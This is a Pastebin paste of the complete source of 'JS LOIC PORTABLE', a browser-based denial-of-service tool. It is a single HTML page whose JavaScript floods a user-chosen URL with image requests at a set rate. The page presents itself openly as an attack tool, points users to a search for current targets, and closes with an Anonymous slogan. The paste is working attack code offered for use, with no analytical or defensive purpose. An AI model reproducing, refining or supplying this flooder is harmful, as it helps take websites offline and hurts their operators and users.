Advertisement
Guest User

Untitled

a guest
Jan 19th, 2012
42,256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.43 KB | None | 0 0
  1. <!DOCTYPE HTML>
  2. <html>
  3. <head>
  4. <title>JS LOIC v0.1 PORTABLE</title>
  5. </head>
  6. <body style="background-color:#0A171F; color:#FFFFFF;">
  7.  
  8. <h1><abbr title="JavaScript">JS</abbr> <abbr title="Low Orbit Ion Cannon">LOIC PORTABLE</abbr></h1>
  9. <h2 style="font-size:15px;">No need to download, install or setup anything - just click the button, sit and enjoy the show.</h2>
  10.  
  11. <div style="position:absolute; width:100%; height:100%; left: 9px; top: 99px;">
  12.  
  13. <div style="width:240px; height:100px; position:absolute;left:500px;">
  14. <fieldset style="width:100%; height:100%;">
  15. <legend>Step 1. Select your target:</legend>
  16. <label>URL: <br /> <input id="targetURL" style="width:100%;" /></label>
  17. <small>For current target see: <a href="http://www.google.com.ar/search?q=target+loic&safe=off&prmd=ivns&source=lnms&tbs=mbl:1&oi=mode_link&ct=mode&cd=7&prmdo=1" target="_blank" style="color:#FFF;">Search Twitter</a></small>
  18. </fieldset>
  19. </div>
  20.  
  21.  
  22. <div style="width:240px; height:100px; position:absolute; left:780px;">
  23. <fieldset style="width:100%; height:100%;">
  24. <legend>Step 2. Ready?</legend>
  25. <button id="fireButton" style="background-color:#336494; border-color:#FFF; color:#FFF; width:240px; height:70px;">IMMA CHARGING MAH LAZER</button>
  26. </fieldset>
  27. </div>
  28.  
  29.  
  30. <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
  31. <fieldset style="width:100%; height:100%;">
  32. <legend>Optional. Options</legend>
  33. <label>Requests per second: <input style="width:40px;" id="rps" value="10" /></label><br />
  34. <label>Append message: <br /><input style="width:100%;" id="message" value="" /></label>
  35. </fieldset>
  36. </div>
  37.  
  38. <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
  39. <fieldset style="width:100%; height:100%;">
  40. <legend>Attack status:</legend>
  41. <dl>
  42. <dt>Requested:</dt>
  43. <dd id="requestedCtr">0</dd>
  44. <dt style="opacity: 0.5">Succeeded:</dt>
  45. <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  46. <dt style="opacity: 0.5">Failed:</dt>
  47. <dd style="opacity: 0.5" id="failedCtr">0</dd>
  48. </dl>
  49. </fieldset>
  50. </div>
  51.  
  52. <div style="width:840px; height:47px; font-size:14px; position:absolute; top:350px;">
  53. Somos anonymous , somos legion, no perdonamos, no olvidamos, esperanos!<br>
  54. </div>
  55.  
  56. </div>
  57. <script>
  58. (function () {
  59.  
  60. var fireInterval;
  61. var isFiring = false;
  62.  
  63. var requestedCtrNode = document.getElementById("requestedCtr" ) ,
  64. succeededCtrNode = document.getElementById("succeededCtr" ) ,
  65. failedCtrNode = document.getElementById("failedCtr" ) ,
  66. targetURLNode = document.getElementById("targetURL" ) ,
  67. fireButton = document.getElementById("fireButton" ) ,
  68. messageNode = document.getElementById("message" ) ,
  69. rpsNode = document.getElementById("rps" ) ,
  70. timeoutNode = document.getElementById("timeout" ) ;
  71.  
  72. var targetURL = targetURLNode.value;
  73. targetURLNode.onchange = function () {
  74. targetURL = this.value;
  75. };
  76.  
  77. var requestsHT = {}; // requests hash table, may come in handy later
  78.  
  79. var requestedCtr = 0,
  80. succeededCtr = 0,
  81. failedCtr = 0;
  82.  
  83. var makeHttpRequest = function () {
  84.  
  85. if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  86. return;
  87. };
  88.  
  89. var rID =Number(new Date());
  90. var img = new Image();
  91. img.onerror = function () { onFail(rID); };
  92. img.onabort = function () { onFail(rID); };
  93. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  94.  
  95. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  96. requestsHT[rID] = img;
  97. onRequest(rID);
  98. };
  99.  
  100. var onRequest = function (rID) {
  101. requestedCtr++;
  102. requestedCtrNode.innerHTML = requestedCtr;
  103. };
  104.  
  105. var onComplete = function (rID) {
  106. delete requestsHT[rID];
  107. };
  108.  
  109. var onFail = function (rID) {
  110. // failedCtr++;
  111. //failedCtrNode.innerHTML = failedCtr;
  112.  
  113. succeededCtr++; //Seems like the url will always fail it it isn't an image
  114. succeededCtrNode.innerHTML = succeededCtr;
  115.  
  116.  
  117. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  118. };
  119.  
  120. var onSuccess = function (rID) {
  121. succeededCtr++;
  122. succeededCtrNode.innerHTML = succeededCtr;
  123. delete requestsHT[rID];
  124. };
  125.  
  126. fireButton.onclick = function () {
  127. if (isFiring) {
  128. clearInterval(fireInterval);
  129.  
  130. isFiring = false;
  131. this.innerHTML = "IMMA CHARGING MAH LAZER";
  132. } else {
  133. isFiring = true;
  134. this.innerHTML = "Stop flooding";
  135.  
  136. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  137. }
  138. };
  139.  
  140. })();
  141. </script>
  142. </body>
  143. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement